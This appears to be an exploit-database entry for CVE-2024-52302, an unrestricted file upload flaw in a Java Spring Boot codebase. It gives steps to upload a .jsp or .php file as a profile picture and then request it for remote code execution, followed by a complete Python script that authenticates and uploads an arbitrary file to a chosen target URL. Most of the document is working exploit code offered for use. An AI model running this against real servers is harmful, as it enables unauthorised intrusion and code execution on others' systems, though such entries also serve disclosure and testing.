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# Exploit Title: Unrestricted File Upload # Google Dork: # Date: 14/Nov/2024 # Exploit Author: d3sca # Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase # Software Link: https://github.com/OsamaTaher/Java-springboot-codebase # Version: [app version] 0.1 # Tested on: Debian Linux # CVE : CVE-2024-52302 # Steps to Reproduce: # Upload Malicious File: Send a PUT request to /api/v1/customer/profile-picture using customer with role 26,17 added with a malicious file payload (e.g., .jsp, .php, .html). # GET the file location: Send GET request /api/v1/customer/my-profile , grap the file location in response with the profile's link. # Execute the Uploaded File: Using the file name access the file directly through the URL returned in the response. # If the server supports the uploaded file type, it will execute the file, leading to Remote Code Execution. import requests import argparse import sys requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def login(url, username, password): """Authenticate with the API and return the Bearer token.""" login_endpoint = f"{url}/api/v1/user/login" headers = {"Content-Type": "application/json"} payload = { "username": username, "password": password } try: response = requests.post(login_endpoint, json=payload, headers=headers, verify=False) response.raise_for_status() # Extract token token = response.json().get("token") if not token: print("[!] Token not found in response. Exiting.") sys.exit(1) print("[+] Authentication successful. Token acquired.") return token except Exception as e: print(f"[!] Login failed: {e}") sys.exit(1) def upload_file(url, token, file_path): """Upload a file to the profile picture endpoint using the Bearer token.""" upload_endpoint = f"{url}/api/v1/customer/profile-picture" headers = { "Authorization": f"Bearer {token}" } files = { "file": open(file_path, "rb") } try: response = requests.post(upload_endpoint, headers=headers, files=files, verify=False) response.raise_for_status() if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Response: {response.text}") else: print(f"[!] Failed to upload file. Status code: {response.status_code}") print(f"[!] Response: {response.text}") except Exception as e: print(f"[!] File upload failed: {e}") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="Exploit script for unrestricted file upload vulnerability.") parser.add_argument("-u", "--username", required=True, help="Username for login") parser.add_argument("-p", "--password", required=True, help="Password for login") parser.add_argument("-f", "--file", required=True, help="File to upload") parser.add_argument("-url", "--url", required=True, help="Base URL of the target application (e.g., https://target.com)") args = parser.parse_args() # Authenticate token = login(args.url, args.username, args.password) # Upload the file upload_file(args.url, token, args.file) if __name__ == "__main__": main() |
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